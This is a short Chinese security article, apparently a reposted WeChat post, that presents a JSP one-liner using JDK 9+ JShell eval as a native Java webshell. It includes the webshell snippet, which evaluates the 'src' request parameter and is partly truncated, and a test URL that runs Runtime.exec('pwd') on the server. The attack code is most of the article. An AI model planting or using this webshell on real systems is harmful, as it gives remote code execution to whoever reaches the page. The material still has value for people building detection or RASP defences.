专栏名称: 安全祖师爷
国内领先的互联网安全媒体,WEB安全爱好者们交流与分享安全技术的最佳平台!这里聚集了XSS牛、SQL牛、提权牛、WEB牛、开发牛、运维牛,公众号定期分享安全教程及相关工具。与其在别处仰望 不如在这里并肩!
目录
相关文章推荐
进出口银行  ·  助民企 赋新能 | ... ·  9 小时前  
安徽商报  ·  刚刚通报!安徽两家农商行领导被查! ·  昨天  
安徽商报  ·  刚刚通报!安徽两家农商行领导被查! ·  昨天  
洪观新闻  ·  美主要银行CEO薪酬普涨 ·  2 天前  
洪观新闻  ·  美主要银行CEO薪酬普涨 ·  2 天前  
科技美学  ·  小鹏M03如何开启哨兵模式 ·  3 天前  
51好读  ›  专栏  ›  安全祖师爷

JShell(JDK9+)eval任意Java代码片段执行

安全祖师爷  · 公众号  ·  · 2019-10-17 14:58

正文


点击上方“ 凌天实验室 ”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享

写在之前:

最近几年开发RASP产品期间整理了很多的Java语言的特性~


JDK9开始提供一个叫jshell的功能,让开发者可以想python和php一样在命令行下愉快的写测试代码了。JDK9已经发布距今2年多了,但在生产环境下使用JDK8以上的应用依旧寥寥无几。不过我们只需要利用这一特性其实是可以实现任意代码执行了,也就是说正真意义上的原生的java一句话木马实现了。


测试代码:

eval(request.getParameter("src"))%>


就这么简单的一行代码就可以了,src参数值是java代码片段。



测试用例:

http://localhost:8080/modules/jshell.jsp?src=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(Runtime.getRuntime().exec(%22pwd%22).getInputStream())).readLine()


如果强迫症想撸掉多余的输出:

"src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>








请到「今天看啥」查看全文